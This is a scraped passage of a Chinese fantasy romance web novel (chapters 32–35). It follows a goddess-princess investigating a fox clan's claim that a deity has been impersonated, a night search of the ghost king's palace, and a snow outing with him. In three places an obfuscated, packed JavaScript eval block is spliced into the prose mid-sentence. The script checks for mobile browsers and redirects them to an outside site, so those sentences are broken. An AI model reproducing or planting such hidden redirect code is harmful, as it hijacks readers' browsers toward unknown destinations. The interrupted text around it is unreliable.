“很好啊，”柳渊道：“经常带她妹妹来神界玩，这不是又来了。宠的很。”他看了一眼洛念安，“怎么了？你对他还是他妹妹感兴趣？” “……”这话听着有些别扭，洛念安摇摇头，道：“没什么，我只是觉得他们长相还挺相似的。” 柳渊笑着道：“你还挺有意思，他们一个爹妈生的，长得像不是很正常，要一点都不像不就出事情了么。” 洛念安的思绪开始跑偏，她沉思了一会儿，突然问道：“你觉得我与洛霁禾相像吗？” 柳渊盯着她看了一会儿，似乎认真思索了一番，摇头道：“你像帝后更多一些，云祉殿下嘛，他……嘶……他可能像帝君多一点吧。”说完他眉头紧蹙，自言自语道，“诶？帝君长什么样子来着？” 洛念安被他逗笑，笑了一会儿，道：“好啦，我要回玉兰观了。” “行，”柳渊停止思考，道：“那我就送你到这了。” 洛念安愣了愣，笑道：“那就多谢将军相送了。” “小事情，”柳渊摆摆扇子：“快回去吧。” “再见。” “下次见。” 32. 紫衣跪求公主相助 洛念安回到玉兰观，叶蓉正坐在树下躺椅之上嗑瓜子，见到她“唰”的一下站起来：“洛姐姐，你回来啦？事情办完了吗？” 她微微一笑：“嗯，办完了。”说完，走到躺椅边坐下，舒服地往后靠去，抓了把瓜子，“这瓜子是你新买的吗？” “是啊，我早上去买的。”叶蓉也坐了回去。 洛念安边磕边道：“很香。” 叶蓉嘿嘿一笑：“是吧，我也觉得，我挑了好多家呢。” “玉田村之事如何了？”洛念安看向她。 叶蓉露出狡黠的笑：“我化成李兰花的模样，趁他睡着，拉起来啪啪扇了他几个耳光，扇的他口吐鲜血，让他挨家挨户去说明真相，不然就弄死他。然后把他弄晕了，他今早起来真以为自己在做梦，看着是挺害怕的，但是也没行动。等我今晚再去一次。” 洛念安点点头，提醒道：“让他吃点苦头就是，不能真的弄死哦。” 叶蓉道：“明白。” 洛念安笑了笑。太阳晒的她盛感疲乏，于是便起身回屋，上床休息去了。这一觉，便睡到了第二日。 叶蓉兴冲冲地告诉她：“洛姐姐，黄中德真的怕了，果真睡醒就挨家挨户去说真相，还当众跟李兰花道歉了。” 洛念安喝了口粥，点头道：“如此便好，不过还得麻烦你多去看看。” 叶蓉啃着馒头道：“好啊，反正我平日里又没事干，没什么麻烦不麻烦的。” 早饭是洛念安做的，所以叶蓉主动揽了洗碗的活。于是她便出门去抱着兔子晒太阳去了，她给兔子起名叫“小白”，很俗套的一个名字。 她正把小白举高高，摇着它的前肢，自言自语道：“小白小白，你怎么长这么胖呀？” 小白不能说话，所以没有反驳她。 听叶蓉说她带着小白去河边扔水里洗了洗，所以它现在的毛发依旧雪白。洛念安摸着它的毛，摸着摸着，脑中灵光一现，又将它举起，问道：“那日是易桉让你来的吧？” 肯定是的。 想到这点，洛念安忍不住弯起嘴角，将兔子放在腿上，抬手摸上挂在颈上的玉骨哨，轻轻摩挲着。 正想着，院门口忽然出现了一道紫色身影。洛念安顺着望去，微微一怔。 白黎见到洛念安坐在那里，便自己推门进来了。洛念安放下兔子起身，抬眉看着她，很是诧异她为何会来找自己。 白黎对着洛念安行了一个礼：“珈洛公主。” 洛念安微微垂首：“白黎姑娘。”她望着白黎，等着她道出来此的目的。 白黎的视线却转向别出，洛念安跟着看去，发现是叶蓉洗完碗出来了。两人对视上，齐齐愣了一下。 叶蓉：“来客人了啊。” 白黎：“你是鬼？！” 叶蓉：“……有问题吗？” 白黎看向洛念安，眼中满是不可置信：“你的住处为何会有鬼？” 洛念安微微一怔，歪头看她，一时不知该如何说。 叶蓉已经走过来了，她道：“怎么？歧视鬼啊？” 白黎伸长脖子：“鬼没一个好东西！” 叶蓉不服气，叉着腰就是干：“你以为你好到哪里去？一只九尾狐妖！” 白黎听她这么说更是不高兴：“有没有见识啊？！我们九尾狐可是神族！神族懂吗？” 叶蓉撇着嘴：“哟哟哟，那真了不起。” 洛念安伸手拦在她们面前，温声道：“不要吵。”然后她看向白黎，“白黎姑娘今日找我前来，是有何事？” 白黎道：“我确实有事求你，但你要先保证，这件事情不可以告诉太阴鬼王。” 叶蓉白了她一眼。 洛念安听完先是一愣，随即微笑道：“白姑娘，我想你应该看到过我与易桉待在一起吧？” 白黎皱眉：“易桉是谁？” 叶蓉又是一记白眼：“当然是我们王上。” 白黎对着她哼了一下，又道：“我知道，所以才要你保证不可以告诉他。你是上神，还是神界的公主，你说话一定算话的吧？” 洛念安道：“倒也不必将我架在这样高的位置上。”顿了顿，她问道，“所以你找我之事，是与易桉有关吗？” 白黎点头：“对。” “……”洛念安沉默片刻，又道：“上次在安乐殿，我见过你。你是在寻找什么东西吗？可是易桉说，他那里没有你要的东西。” 白黎脱口道：“他是坏人！他在骗你！” 听到有人骂自己的金主，叶蓉第一个不乐意：“我们王上怎么你了？我说某些神族不要打不过就破防哈。” 白黎不甘示弱：“谁打不过？他也没来跟我们打啊！还不一定呢！” 叶蓉：“哟哟哟，装，接着装，听我们王上去了怕不是要吓得屁滚尿流了。” 白黎：“有什么好怕的？！我兄长可是上神！” 叶蓉：“哟哟哟，那你找你兄长去啊，来找洛姐姐做什么？！想让洛姐姐帮你对付王上？不可能哈，别大早上的做白日梦。” 白黎显然吵不过，“你”了半天也没“你”出个所以然来。 洛念安听她们吵架听得津津有味，甚至抓了一把瓜子。见她们停下还略有些遗憾，试探问道：“不吵了？”见她们真的不吵了，她只好道：“那先说正事吧。” 白黎看向洛念安，手指搅了半天，语气放软了不少：“所以你可以答应我吗？” 洛念安道：“我需要先知道到底是何事，剩下的我自有判断。” “我可以告诉你。”白黎看了叶蓉一眼，又对她道，“我们可以进去说吗？” 洛念安拍了拍叶蓉的手臂，对她微微一笑，便带着白黎进了屋子。她关上屋门，刚转身，就见到白黎“扑通”一下跪在自己面前，紧接着眼泪像断线珠子一般滚落。 洛念安着实是吓了一跳，忙去扶她：“怎么了？有事起来说。” 白黎死活不起，洛念安只好蹲在她面前，然后听见她哽咽道：“我求求你，求你救救我兄长。” 洛念安愣住：“你兄长？白锦仙君发生何事了？”昨日见面不还好好的吗？ 白黎却道：“不是他。” 洛念安蹙眉：“不是白锦仙君？” 白黎道：“是白锦，但不是你们所认识的那个白锦。” “……”这是什么绕口令吗？洛念安尚在思考，就听见她又道：“现在的白锦仙君是假冒的，他根本不是当初飞升的那个白锦仙君 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14496775|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “？！！！”洛念安睁大眼睛，正视着她，严肃道：“此事非同小可，你确定你说的是真的？！” “我确定，”白黎一双狐狸眼通红，她认真道：“现在的白锦仙君其实叫白衡，他虽也是我兄长，但他是我父母的养子，而飞升的白锦仙君才是我同父同母的兄长。如今，白衡代替白锦在神界任职，而真正的白锦仙君下落不明，我兄长失踪了，我找不到他！” “等一下，”洛念安一时有些反应不过来：“那这件事情，与易桉有何关系？” “我发现白衡与太阴鬼王勾结，囚禁我兄长，我兄长如今就在鬼城，就是被太阴鬼王囚禁的！” “你是如何得知？可有证据？” “我……”白黎忽然眼神飘忽：“其实我也不知道我兄长到底在哪里，但是，”她又重新看向洛念安，“但是我在白衡那处找到了鬼王令牌，有了那块令牌无论是谁都可以自由出入鬼城。我就是偷了那块令牌才能进鬼城，进安乐殿的！” 洛念安蹙起眉：“鬼王令牌？这是很稀罕的东西吗？” 白黎焦急道：“它可以出现在任何妖鬼的手上，但它不应该出现在上神的手中啊！一个上神和鬼王走得近，你不觉得很奇怪吗？” “……”这个……这个问题……她该怎么回答？这难道不是在说她吗？ 白黎似乎反应过来了，猛地闭上嘴。 洛念安只觉得思绪杂乱，她道：“好，就算他们之间有联系，那，那我与易桉同样走得近啊，你又为何选择来寻我帮你？” 白黎道：“我听说你一连发现两位上神做了坏事，所以觉得你一定是一位正义凛然的神，而且，而且你与鬼王关系要好，说不定……说不定能帮我打打掩护，让我在鬼王老巢找到我的兄长。” 洛念安哑然失笑，问道：“你既说了我与鬼王关系要好，你就不怕我选择帮他而出卖你？” “不会的！”白黎道：“你是一位好上神……对吧？” 洛念安有些哭笑不得：“你觉得呢？” 白黎坚定道：“我觉得一定是的。” 洛念安道：“还是那句话，建议不要把我架在那样高的位置上。不过，这件事情只有你一人知情吗？你父母呢？” 听了这话，白黎又开始哭：“他们都去世了……” 洛念安发现她真的总是能精准踩上别人的雷点，顿感无措：“抱歉抱歉。” 白黎抹了一把眼泪：“没关系，已经很久了。” 洛念安终于将她扶起来了，把她安置在椅子上，问道：“所以你两次出入鬼城都是为了寻你兄长？” 白黎点点头：“是的。” 洛念安又问：“你是何时发现这件事的？” 白黎道：“很早就发现了。我与他们一同长大，即使他伪装的再像，我又怎么会分不出谁是谁呢？我也是确认了许久，因为白衡很早就和我父母闹翻，离家出走了。我不敢声张，因为我发现神界人际关系十分复杂，我怕他们相互包庇……所以谁都没告诉，也一在悄悄找线索，直到听说你的事迹……” “……”洛念安现下不知该是哭是笑，她坐下来，沉思半晌，出声道：“我会替你保密，但我需要一些时间，去找寻事情真相。” 33. 屋漏偏逢连夜阴雨 白黎走后，洛念安继续坐在躺椅上，脑中仍是一片混乱。叶蓉很识趣地也不打扰她，跑去琢磨中午吃什么了。 午饭后天现阴云，叶蓉边收碗筷边道：“待会估计要下雨。” 洛念安和她抢洗碗没抢过，立在门边看了一眼瞬间昏暗的天色，视线移到自家屋顶上，又垂眸，须臾，道：“你说，我们今晚借住易桉那里，如何？” “啊？”叶蓉愣了一下，不是很明白她的意思。 下一刻，洛念安抬手，突然往上打出一掌，屋顶瞬间破了个洞，掉了几片灰瓦下来。 叶蓉彻底愣住，碗都顾不得洗了。 然后，她们出现在了安乐殿。 易桉笑意盈盈的：“姐姐怎么想起来寻我了？” 洛念安看着他这般高兴的模样，瞬间心虚，还夹杂着些愧疚，她伸手摸了摸鼻子，硬着头皮道：“人界下雨了，然后......今日那个屋顶它突然破了个洞，漏雨，我们无处可去，不知能否在此借宿一晚？等雨停我们就回去。” 叶蓉对上她的视线，连连点头：“是啊，屋顶突然就破了，真是奇怪。” 易桉望着洛念安的动作，面上笑意更深了几分，道：“当然，姐姐在我这里想住多久都没问题。” 洛念安更加心虚，面上维持着笑容，却垂着眼不敢看他。 入夜，洛念安担心开门会像上次那样惊动易桉，便悄悄从窗子翻出了寝殿。 其实她也不知该从去何处寻找，像白黎一样，如同无头苍蝇般到处乱撞，去哪里全凭感觉。安乐殿彻夜灯火通明。她经过了几座宫殿，从门缝往里，发现都是空殿，里面不仅没人，连家具摆件什么都没有。就是空的。 她有些想不通易桉为何要建这么多座殿了。 有了上次的经验，她并没有贸然进这些空殿，而是开始避开主道，专门挑一些小道走，往灯火暗的地方去。这条小道的尽头有两条岔口，一左一右，左右灯火都不亮。她凭着直觉右走，再走到头时，发现仍是两条岔路，只是这两条岔路一边仍是石柱，而另一边则是石墙。 它们是通向哪里的呢？ 洛念安继续右转，沿着廊道往前，石墙一侧隔着一段距离有一根柱子，柱顶是各类石刻的兽首。她一直走到头，发现面前终点竟然仍是一堵石墙。 洛念安站在石墙面前，左臂支着右肘，抬手捏着下巴，陷入沉思。 所以这条路存在的意义是？ 她抬眸盯着面前的石墙，试探性往前，伸手到处摸了摸，并没有摸到什么类似机关的地方。 难道真的只是一堵墙？ 洛念安蹙着眉，两边各看了看，抬步走到一根有着兽首的石柱前，细细打量了一番，试探性伸手摸了上去，然后缓缓转动。 旁边的石墙忽然裂开一条缝，然后向两侧缓缓移动。洛念安一惊，迈步走到裂缝前，面前是一条漆黑的过道。 她毫不犹豫地走了进去，托起掌心焰，接着光一路向前。两侧只是光滑的石壁。往前不知走了多久，豁然开朗，面前忽然亮起烛火，从她面前往左，一直燃至深处。 洛念安先是一愣，熄了掌心焰快步走至墙边，背靠墙壁，四下观望一番。发现这里除了亮起烛火并没有其他异象后，才抬步，小心贴着墙壁往左拐去，向前，才发现前面是一间间牢房一样的地方。 所以这里是暗牢？ 洛念安顿足，蹙着眉，心猛地提起。她忽然开始紧张，呼吸也粗了几分，她害怕若是自己真的在这里找到了白锦，该怎么办？ “凉拌，黄瓜炒鸡蛋。” “……”她不知道自己的脑子里为何突然会冒出这样莫名其妙的一句话，甩了甩头，想要把乱七八糟的想法甩出去。 略微调整了一下自己，洛念安继续往前。 没有。 没有。 这间没有。 这间也没有。 最后一间……还是没有。 原来是一座空牢。 确认这件事情后，洛念安猛地松了一口气，甚至弯了弯唇角。须臾，她突然快速原路返回，合上石壁，然后来到下一根石柱前，伸手，缓缓转动。 ……转不动？ 她又试了试，还是转不动。于是洛念安跑到下一根石柱前，转不动，再下一根，还是转不动。一直尝试到最后一根，都不动，只有道路尽头的那一根可以动。也就是说，暗牢只有那一座？ 洛念安看着眼前自己方才没有选的另一条道，正打算跨步过去，突然听到一声： “姐姐。” 洛念安腿一软，幸好手疾眼快扶住了墙，才不至于栽倒。 “……”她缓缓扭头，看向道路那头立着的易桉，勉强扬起笑容，转过身对着他，抬手挥了挥：“小桉，好巧啊，你怎么在这里？” 说完她闭了嘴，在人家的地盘这样问人家，不合适吧？ 易桉眉毛高挑，显然没想到这个问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14504542|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题会被问到他头上。他扬唇笑了笑，道：“睡不着，出来走走。”他看着洛念安，问道，“姐姐呢，也睡不着？” 洛念安点头附和：“是啊。” “出来走走？” 她正愁找不到借口，再次点头：“是啊。” 易桉面上笑意更深，看着洛念安的眸色也深。他再没问其他，只是道：“既然如此，不如一起走？” “好啊好啊。”洛念安松了口气，赶紧往他身边走去。 俗话说，识时务者为俊杰。饭到嘴边得吃，有台阶了得下。 两人一路无言。洛念安面上不显，但心中忐忑。她不相信易桉会信自己这样拙劣的谎言。但是他又什么都不问。 脑中的两个小人正斗得你死我活，突然听见易桉道：“听说姐姐在神界因我而受到了刁难。” 洛念安愣了愣，道：“没有的事，倒也不是刁难。” 易桉笑了笑，只“嗯”了一声，没再讲话。 洛念安侧目看向他，正看到那小半张面具，她突然好奇，这面具下遮住的到底是什么。 易桉也侧眸望了过来，眼中盛满笑意。 “……”洛念安又收了视线，试探道：“你似乎对神界之事了如指掌。”她被迫相亲，命悬一线，还有这次，该不该知道的他都知道。 “世上无难事，只要肯用心。” 这个回答在洛念安的意料之中，但应该还有一个答案。 洛念安弯唇笑笑，不再言语。 易桉将她送至寝殿，互相道了“晚安”，洛念安正欲关门，却听见他道：“姐姐，你该信我。” 洛念安手上的动作猛地顿住。 他果然是清楚的。 洛念安轻轻笑了笑，她道：“我自是信你的。” 她从未怀疑，就算今晚她真的在那暗牢里找到了白黎所说的真正的白锦，她也会相信，易桉这样做一定有他的道理。 闻言，易桉唇角勾起，他道：“当然，姐姐可以做任何你想做之事。有我在，我会一直陪着你。” 他伫立在月光之中，恍惚间宛如临世谪仙。忽然风起，吹动他的发丝，也吹乱了她的心弦。 翌日。 洛念安醒得有些晚了，之所以醒是因为她听见耳边有声音，那是信徒的祈祷声。洛念安猛地坐起身，闭目细听。 叶蓉进来时就看见这一幕，等她再次睁眼，才出声问道：“洛姐姐，你醒啦。刚刚是怎么了？” 34. 临北观雪观身边人 叶蓉走后不久，有人敲门，洛念安顺着望去，见到易桉立在殿门前，扬笑起身：“小桉。” “姐姐醒了，”易桉双臂交叠，倚着门框，笑问：“昨夜睡的如何？” 洛念安走到他面前：“很好啊。” “那就好，”易桉侧过身，偏头过来看着她道：“去吃早饭吧。” “好。”洛念安迈步跟在他身边。 今日的早饭异常丰盛，倒也不是说之前的不好，只是养伤期间都是叶蓉端到她面前，一顿三四样，勉勉强强也能吃完。只是今日这顿……恐怕再来两三个人都不一定能吃完。 洛念安望着满桌佳肴，看了他几眼，咬着筷子，犹豫片刻，终是出声道：“小桉，或许你听过一句诗吗？” “嗯？”易桉挑眉望她。 洛念安眨巴着眼，道：“谁知盘中餐，粒粒皆辛苦。” “……”易桉似乎怔了怔，片刻，轻笑出声。他笑了好一会儿，看着洛念安认真道，“姐姐说的是，下次不会了。” 洛念安自觉有些不好意思，遂冲他笑了笑，默默低头喝粥。 易桉用公筷加了道菜放进洛念安面前的银盘中，对她道：“待会吃完，带姐姐去个地方。” 洛念安放下粥碗，好奇道：“去哪啊？” 易桉冲她眨眨眼：“吃完就告诉姐姐。” 于是洛念安默默加快速度，等她擦好嘴，就听易桉唤了一声：“孔玉。” 孔玉随后出现，他身后跟了两只小鬼，端着什么东西。 易桉站起身，洛念安也起身，跟着他走到孔玉面前。见到孔玉从身后托盘里捧起一叠粉白衣物递给易桉，他伸手接过，展开，等洛念安看清是一件皮裘时，易桉已经将它披在了她的身上。 “这是？”她也不冷啊。 孔玉将另一件黑金色的披在易桉身上，易桉边系绳边道：“听闻北方下了雪，带姐姐去看看。” 洛念安愣住了，等她回过神来，自己已经置身于一片纯白的世界。 大雪纷飞，人鸟声俱绝。 易桉伸手，为她戴上帽子。洛念安看了看他，疑惑道：“你的这件为何没有帽子？” 易桉勾唇道：“我不会冷。” “……”洛念安垂下眸，只觉喉间酸涩。 易桉问道：“姐姐想玩什么？堆雪人吗？” 洛念安重新抬眸看向他，歪头道：“鬼王大人竟喜欢堆雪人吗？” 易桉抿唇笑道：“我猜姐姐喜欢。” 洛念安却是摇头，眼珠一转，突然后退几步朝易桉扔去了一个雪球。易桉侧身，轻松躲过，笑道：“好啊，姐姐偷袭。”说着胳膊一抬，一个雪球呈弧线落向洛念安。她也是闪身躲了，灿然笑道：“你不也是？” 洛念安迅速弯腰抓起一把白雪，随手一捏，也不管它是不是球形，瞄准方向扔了过去。易桉的回击很快，她转身一躲，雪球落在皮裘上根本没有感觉。她弯腰团了个大的，转身寻找易桉的位置，躲过他扔来的雪球，回了个巨无霸。那雪球最终砸在地上，碎了，融进雪地里。 大雪纷飞，“吱呀”声、欢笑声四起，鸟声绝。 一张雪白的纸上，多出一排排大小不一，轨迹不定的脚印。 雪不知是何时停的，它停时，洛念安正戴着一副雪白的手套滚雪球。这滚一圈，那滚一圈，然后挑了个好地方把它滚了过去，蹲在地上修修补补。又跑去滚了一个，安在它上面，修修补补半晌，终于满意。她摘下手套，原地叉腰看着自己的杰作，对不远处忙活的易桉道：“我的雪人堆好了。” 易桉原本也蹲在地上，闻言，站起身。洛念安见他走来，手上拖着一个东西，弯腰将它放在自己的雪人旁边。 那是一个比自己这个小的多的雪人。 然后他突然掏出一大一小两根胡萝卜，插在两只雪人的脑袋上，充当鼻子。 洛念安愣住，扭头拉开他的皮裘在他身前身后仔细找了一圈儿，对上他充满戏谑的视线，忍不住疑惑道：“哪来的胡萝卜？” 易桉笑道：“我猜，姐姐会堆雪人。” 洛念安笑出声，由衷道：“不愧是鬼王大人，这样用心，你做什么都会成功的。” 易桉哈哈笑了几声，视线落在洛念安堆的那个雪人上，忽地问道：“姐姐堆的是你自己？” 这个问题倒是把她问住了。洛念安不知道自己堆的是谁，随便一堆，也不清楚他为何要这样问，但还是顺着道：“算是吧。你呢？你堆的是谁？是你自己吗？”说着又自顾自地摇头，“应该不是，你比我高啊。” 她扭头望去，自己面前随着呼吸总是出现一团团白色雾气，但易桉面前没有。 易桉偏头，忽然弯腰，凑到洛念安面前，弯唇笑道：“你猜。” 洛念安微微一怔。雪已经停了许久，可是落在易桉发丝上、睫毛上的雪花仍没有化去。随着他眨眼的动作，一闪，又一闪。她忍不住伸出手，食指轻轻触碰上他的眼睫，那片雪在她手指尖处瞬间化为冰水，指尖的凉意直达心底，冷得她心下一颤。 “……” “……” 天地皆空，人鸟声俱绝。 洛念安手指一蜷，猛地缩回手，藏在皮裘中。眼中，心下满是慌乱。 易桉看似淡定，但是停止眨动的眼睛出卖了他的震惊。 “那什么，”洛念安搓搓手，道：“有点冷哈。”她问道，“你冷吗？”还没等易桉回答，便自顾自答道，“哦对你不冷。” 易桉站直，闻言轻笑出声，道：“姐姐真的冷吗？若是冷，我们便回去。若是不冷，或许可以玩些其它的。” 洛念安肯定是不冷的，于是她停止搓手，好奇道：“玩什么？” 易桉偏头望着她，露出笑容，抬手打了个响指，白布下一刻便撕开了一条缝，紧接着阿离从缝隙里走了出来，它的身后好像拉着什么东西。 洛念安凑上去看了一眼，又望向易桉，眼中闪烁着兴奋的光芒：“滑雪撬？” 易桉扬眉点头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14511861|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛念安客气了一下：“这样会不会太辛苦阿离啊？” 易桉已经带着她坐了上去，道：“不辛苦，它平日闲得很。” 阿离奔跑速度惊人，拉着他们在雪野中狂奔。狂风在耳边呼啸，迎着高涨的兴奋和登顶的刺激。 “哇啊！！哈哈哈……” 易桉仍是端得一派自在闲适，伸手将洛念安的帽子给她戴了回去。洛念安一手抓着手柄，一手抓住帽檐，扭头，笑意吟吟地对上易桉的视线。 狂风并没有吹散他的声音，洛念安听见他问：“姐姐，开心吗？” 洛念安笑容更盛，她大声回道：“开心！！” …… 他们回去后，叶蓉已经回来了。洛念安解下皮裘搭在衣架上，听叶蓉问道：“姐姐，你们去哪了？怎么皮裘都穿上了？” 洛念安笑了一下，道：“小桉他带我去北方玩雪。” 叶蓉眨眨眼，嘴角逐渐上扬，道：“王还挺会的嘛。” 洛念安不解：“会什么？” 叶蓉就知她不懂，也不明说，随口道：“挺会玩。” 洛念安点点头：“是挺好玩的。” “……”叶蓉无声叹了口气，边嘀咕“不解风情的女人”边往桌边走去，坐下来后，她道，“那边的事情今日基本结了，我没想到她天没亮就起来忙活，做好饭等她丈夫起来吃，结果她那个王八蛋丈夫没吃两口就说咸了淡了，就要打她。” 洛念安也坐了过来，神情严肃：“然后呢？” 叶蓉接着道：“然后我就附在她身上，揍得那男的哭爹喊娘，又睡回床上去了。” “……”洛念安愣了一下：“打残了？” 叶蓉抬手摸了摸鼻子：“没吧，可能就是……得躺两天？” 洛念安淡定地喝了口茶，放下玉盏道：“也不能保证打一顿就老实。” 叶蓉了然道：“明白，等过两天他能动了我再去看看。” “明日吧，”洛念安从袖口掏出了个荷包，里面摇得叮当响，她将荷包放在桌上，道，“她丈夫不能下地，肯定没有收成，麻烦你明日帮我把这些铜板送到她屋。这是我上次打麻将赢得，也不多，但凑合凑合吃两顿饭还是够的。” 叶蓉看着那个荷包愣了愣，又看向洛念安，道：“不必了吧，她向你祈愿，没捐功德倒也罢了，你还得倒贴？这是什么理？” 洛念安笑了笑，道：“在其位谋其职嘛。体苍生疾苦，本就是我该做的。” “洛姐姐，”叶蓉的声音突然低了下去，她吸了吸鼻子，凑上来握住洛念安的手，真情实意道，“你真的太好了，我当初若是能遇见一位像你这样的神仙就好了。不过现在能遇见你，也是我的福气。” 洛念安望着她，另一只手覆上去，在她的手背上轻轻拍着，温声道：“那些苦难女子能遇到你，也是她们的福气。你不用把我当做可以救赎你的神明，小蓉，你本身就能够救赎你自己，还有千千万万像你一般历经苦难的女子。于她们而言，你就是神明。” 35. 巫女道出八尾天道 叶蓉被这一番话感动的几欲落泪，情绪一转，突然愤愤道：“男的没一个好东西！” 她一抬头，猛地瞥见立在门边正欲抬手敲门的易桉，愣住了。 易桉刚抬起来的手顿在那里，又放了下去。视线扫过叶蓉，落在背对着殿门而坐的洛念安身上。 洛念安全然没有注意到这些，听她这么说，抿唇笑了一下，道：“其实也不尽然吧。” 叶蓉连连附和：“对对，肯定是有好男人的。”眼珠一转，又笑问道：“那洛姐姐觉得……在你心里，谁最好啊？” “这个嘛……”洛念安伸手抓住玉盏，无意识地把玩着，她垂着眸，轻声道：“最好的话，应该是……小桉。” 叶蓉瞥见易桉嘴角上扬，默默松了口气。 洛念安不解她为何突然这样看着自己，似乎很是……感激？ 便问道：“怎么了？” 叶蓉眼神示意了一下，小声提醒道：“王来了。” 洛念安闻言回眸，正见着易桉立在那处，心里突然慌了一下，立马起身，看了叶蓉一眼，走上前去笑道：“小桉，你何时来的？” 易桉的嘴角始终没有落下去：“就在刚才，来喊姐姐去吃饭。” “好。”洛念安悄悄呼出一口气，扭头招呼叶蓉，“吃饭了小蓉。” 叶蓉起身跟上去：“来啦。” 午饭后，易桉按照洛念安的意思送她们回了玉兰观。 叶蓉抬头看着屋顶，咧嘴笑着：“果然，王已经派人来修缮过了。” 洛念安跟着看了一眼，又低下头，默不作声地走到院中树下，闭目仰在躺椅上。 叶蓉走过来，放了杯热水在她身侧的圆桌上，望着她道：“怎么了洛姐姐？事情进展不顺利吗？” 洛念安睁眼，道：“嗯，没有什么发现。” 叶蓉凑近一些，悄声道：“真的跟王有关系啊？” 洛念安侧目看向她，笑了一下，问道：“你觉得呢？” 叶蓉坐直身子，嘟囔道：“这我哪敢说。” 洛念安又躺了回去，闭上眼，轻叹了口气，道：“且再看看吧。” 叶蓉挑着盘里的瓜子磕，眼睛一瞥，瞥见门口进来个人。她当即翻了个白眼：“哟，稀客。” 洛念安闻声睁眼，见到来人，扶着座椅起身，道：“你来了。” 白黎没搭理叶蓉，先是对着她行了个礼，然后问道：“公主殿下，怎么样？你唤我前来，可是有发现？” 洛念安弯唇笑了笑，垂下眸，须臾，又抬眸看她：“太阴仙的地盘有什么秘密，哪能是我随便找找就能找出来的？” 白黎的神情顷刻染上失落，紧接着眼睛就红了：“若是你都找不到的话，那我兄长岂不是……岂不是……”她说着就蹲在地上哭。 洛念安和叶蓉皆是一惊，对视一眼。洛念安蹲下身子伸手抚上她的后背，柔声安慰着她：“不必如此悲观，思绪打开，这件事就算与小桉有关系，但他毕竟不是主谋，那人也不一定就在他那里啊。” 白黎抬头看向她：“可是……可是还能在哪呢？二哥又不会把大哥藏在神界，更不可能在青丘了，我思来想去，只有太阴仙那里能藏人。” 洛念安思索片刻才理清她口中的“大哥”“二哥”都是谁。她开口道：“青丘？是狐族所在之地吗？” 白黎懵然点头：“是啊，那是我家。” 洛念安抿唇沉思着。 白黎看着她，视线里突然多出来一块手帕，她顺着看去，对上叶蓉的视线。 叶蓉嫌弃道：“快擦擦吧，哭的眼泪鼻涕到处都是。” 白黎愣了愣。 叶蓉见她的模样，道：“怎么？嫌弃我啊？那你别用了。”她说着就要收回手帕，却被白黎一把接了过去，她擦着自己脸上的眼泪，又抬眼看向叶蓉，低声道：“谢谢。” 叶蓉摆摆手，哼着调坐回椅子上，继续挑瓜子去了。 洛念安又看向白黎：“方便带我去青丘看看吗？” 白黎微微一怔：“现在吗？” 洛念安点头。 白黎道：“当然可以。” 洛念安跟着她往院门外走，听到叶蓉在她身后唤她：“洛姐姐，晚上想吃什么？我做好了等你。” 洛念安回眸，弯唇一笑：“就做你爱吃的吧，若是我回的晚了，就不必等我。” 叶蓉爽快道：“好。”又嘱咐她，“万事小心。” “知道了。”洛念安挥挥手，跟着白黎离开了玉兰观。 青丘，狐族。 狐族多以竹制建筑为居。白黎带着洛念安直接步入狐族王宫，说是王宫，也就是很多间竹制建筑围在一起。白黎带着她来到一间类似会书房的地方。 白黎道：“殿下请坐吧。这里是我的书房。” 洛念安点点头，四下看了一圈，问道：“方便看看吗？” 白黎边给她倒茶，边道：“请便。” 洛念安便围着旁边的书架转悠着，目光在上面摆放的书籍上游走。她问：“白锦……白衡常回来吗？” 白黎跟在洛念安身边，道：“嗯，目前狐族的事物大多都是他在处理。” 洛念安挑眉侧首看她：“所以他也身兼狐王之位？” 白黎道：“算是吧，虽没明说，但狐族都默认了。” 洛念安默然点头，视线忽然被躺在书架上的一本册子吸引，那本册子的封面画着三只小狐狸，每一只身后都有好几条尾巴。 数一数，两只狐狸身后是九条尾巴，而另一只……八条？ 洛念安问道：“这本册子我可以看看吗？” 白黎看了一眼，点头道：“当然。不过这只是我幼时随便画画的画册。” 洛念安拾过画册，左手拖着，右手翻开。第二页多了两只狐狸，每一只都是九尾，但还是有一只是八条尾巴。她微微蹙眉，忍不住问道：“这一只小狐狸是画错了吗？为何只有八条尾巴？” 白黎凑过去看了一眼，视线又移至别处，面露为难之色。 洛念安扬起眉，更疑惑了。 白黎似乎犹豫了一会儿，才下定决心道：“那其实是我二哥。” 洛念安的眉毛扬的更高：“你二哥？白衡？” 白黎默然点头。 “他是八尾狐？” 白黎再次点头。 